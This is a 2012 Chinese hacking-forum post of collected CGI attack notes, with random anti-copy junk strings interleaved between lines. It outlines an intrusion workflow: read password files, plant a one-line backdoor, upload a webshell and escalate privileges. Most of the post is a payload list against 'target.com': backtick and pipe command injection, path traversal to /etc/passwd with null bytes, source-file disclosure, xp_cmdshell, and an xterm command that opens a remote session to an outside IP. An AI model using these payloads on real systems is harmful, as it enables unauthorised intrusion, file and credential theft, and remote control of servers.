找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2879|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  / s- G% ~  z. Z
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
3 P. S& P9 F8 j$ ~1 |& Y. x. \( n& [感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
1 l5 Y7 [3 I5 o注“  2 O3 }7 A1 T: N- r7 s3 Y+ d
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
/ J. ^. U4 ?! B: E# Q* S以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
3 `# [+ z2 L; `  m2 L
  X& K# U8 |! I' v, q5 ohttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  # X; R4 M+ q4 H1 k2 U
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  " N# Y7 v6 `6 L+ b
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
) \  ~$ B: F+ C$ ^! thttp://target.com/cgi-bin/home/news/sub.pl?`id`  
$ r, X9 S8 \  c% f+ q2 y' {: U6 ohttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  , L  m+ @* X* b1 n
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
5 @) W" V# \( m  t0 b  f: \- G6 w( y+ A2 R
http://target.com/test.pl;ls|  # V" K4 g  K% o
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
  T! A, X7 `9 i, z1 R- W! Xhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  & l/ `3 O3 B* q3 k
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
$ Y  k% h" g+ _4 }0 X* x比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  - l$ T1 f% N/ ^6 e3 \
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  % [3 U7 v0 V' x" i

; J3 F% ^& G) a. o1 y3 Ahttp://target.com/test.pl?&........ /../../etc/passwd  
5 `, b9 D  O0 k5 u2 F) t& u4 g4 A
6 E) |* [4 a+ C) o2 N. p3 B% ?http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
0 ]* Q8 A0 N: V4 ]9 h  thttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ' I4 R! K2 u) _7 b  z0 u1 E0 }
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  # r( H+ q/ N, M- L3 w% x! [

/ z$ ]- B! H. {* Y) {; e# jhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
" h) ]* ]1 L" h( P; uhttp://www.target.org/show.php?f ... ng/admin/global.php  % c  N% H3 q* n% M# v; w! i
& B$ J4 T% U) r3 @3 o
emm和ps的一句话8 u0 K% H3 h: Z0 R1 N" Y% i  w* }
, t6 p# ]! E+ k  F
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
& b: |) i; E5 A: f% |* s. q6 n$ @9 r0 R+ h) W6 ~0 S6 g! `  Q
>bbb%20|  ) c. D% H  i  w5 u5 D2 w

# d- r, k& W! i/ ihttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
+ j! W: ?6 L" a8 w$ a1 h/ ?3 S6 ~2 B" Q3 z* ~3 V% x' ~) D; W0 [9 F2 H
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
4 f0 O1 d  p, c4 V" i! \http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
# s: ~/ X4 `5 n1 B. D1 O! i* k  d, E
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
$ [; r- K7 i! {( W( c, D' yhttp://target.com/index.html#cmd.exe  
9 `8 Q8 b7 H9 S/ _% dhttp://target.com/index.html?dummyparam=xp_cmdshell  : y; Y# f7 x$ K. l/ ~
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
. P" M! _2 k: E0 h; t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表